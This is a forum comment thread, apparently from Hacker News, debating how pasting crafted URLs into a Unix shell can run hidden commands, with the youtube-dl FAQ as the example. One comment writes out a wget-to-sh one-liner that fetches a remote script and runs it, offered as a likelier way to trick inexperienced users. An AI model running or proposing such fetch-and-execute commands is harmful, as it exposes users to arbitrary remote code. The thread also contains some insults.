This happens often enough, there's an entry in youtube-dl FAQ about it:
https://github.com/ytdl-org/youtube-dl#video-url-contains-an...
(They advice to add single quotes around the URL, which as you now know, is not necessarily sufficient.)
Now this example wasn't exactly well camouflaged, but I'd not be surprised if you can make it much more innocent looking.
Wouldn't
wget -qO - www.example.com/script | sh
catch far more of the uninitiated?1. Your epistemic reasoning capabilities are broken (as in, why do you think people should know better?)
2. You are just adopting an ad-hoc philosophy based on how shells work. If interactive languages had separate text inputs instead of just parsing a stream of text from stdin, pasting would always be safe. One may be tempted to call this "UN*X braindamage".
3. You appear to possibly believe in checking a URL before opening it type voodoo as well, regardless of shell issues
A separate text input is just stdin by another name.
Yes, I believe people who paste URLs into the terminal should examine those URLs - you generally have to trim some stuff, quote, or rewrite things to make them useful. If you believe in wildly flinging data everywhere, good on you, I'd rather deal with easily avoidable problems such as demonstrated in TFA.
That would be an effective argument, but this vile shit has existed for decades without being fixed, for no good reason. This saw is specifically designed to slice fingers off, rather than do useful work, for no reason.
> Having a base level expectation of competence for operators is normal.
UNIX expects perfection, while providing none of its own.
> A separate text input is just stdin by another name.
No, nitwit, it prevents in-band signalling, which is the entire problem here.
Anyway, I use Emacs for everything, and don't have these issues. With wget, I use -i - to enter multiple URLs at once, but it would also defeat this.
You can't safely paste anything into the shell ever lol. For multiple reasons. It doesn't matter how much visual inspection you do.